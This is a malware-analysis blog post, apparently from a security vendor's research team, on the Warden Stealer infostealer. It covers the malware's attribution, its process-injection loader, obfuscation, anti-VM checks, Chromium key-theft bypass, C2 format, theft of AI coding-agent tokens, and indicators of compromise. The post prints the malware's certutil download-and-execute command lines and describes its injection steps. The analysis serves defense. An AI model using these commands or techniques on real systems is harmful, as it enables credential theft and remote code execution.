SR. MALWARE ANALYST

Mgr, Threat Analysis Engineering

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Researcher at Gen

Threat Research Team Lead

Research

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
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Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
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Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
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Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
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In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
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</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
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Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
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Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
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Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
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</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
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<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
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<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
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<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
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<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
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<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
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<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
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</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
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Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
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Execute injected shellcode inside the browser process to decrypt the key
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Read the decrypted key back
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Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
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The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
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The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
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The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

<h3>Extracted Warden Stealer C2 Domains (Non-exhaustive)&nbsp;</h3>backtoblack7[.]com&nbsp; berff3788[.]com&nbsp; bobroviysmex[.]shop&nbsp; bomboclat[.]rest&nbsp; brodyagup[.]com&nbsp; culture-shock[.]club&nbsp; diseazhjw[.]cloud&nbsp; dojaekrt[.]cc&nbsp; dojaekrt[.]forum&nbsp; dojaekrt[.]trade&nbsp; erifytrtr1[.]vip&nbsp; ggresp[.]com&nbsp; hotelcalifornia[.]club&nbsp; hroffice[.]work&nbsp; incoming[.]rent&nbsp; jgkawdq[.]cloud&nbsp; kaiangelsystems[.]rest&nbsp; kaifdlyaw[.]com&nbsp; kaliop-weda[.]club&nbsp; konradkerz40000[.]work&nbsp; library2000[.]com&nbsp; luqiuid91[.]com&nbsp; macfilecloud8[.]com&nbsp; matie-bal[.]club&nbsp; modicontools[.]com&nbsp; nextlanding[.]net&nbsp; nweenwew234[.]cc&nbsp; patduggan[.]com&nbsp; pianolovers[.]club&nbsp; piska-sosidka-govno[.]asia&nbsp; plainhorizon[.]org&nbsp; publisher99[.]com&nbsp; rabbids-sixseven[.]cc&nbsp; recap-check[.]org&nbsp; rocks56[.]com&nbsp; rrrrrrrfffff[.]club&nbsp; russianaltushkawantdickinside[.]club&nbsp; sfgiantslive[.]com&nbsp; skibidiclipper[.]pw&nbsp; skibidiproliv[.]com&nbsp; skibidistealer[.]team&nbsp; systemformating[.]rest&nbsp; verifytrtr[.]vip&nbsp; vlad-nazarenko2004[.]club&nbsp; web03-azureupdate[.]com&nbsp; webex-028ue2[.]com&nbsp; wosback[.]cc&nbsp; zalupka[.]website&nbsp; zolotoy[.]club&nbsp; zxcwork[.]com&nbsp;

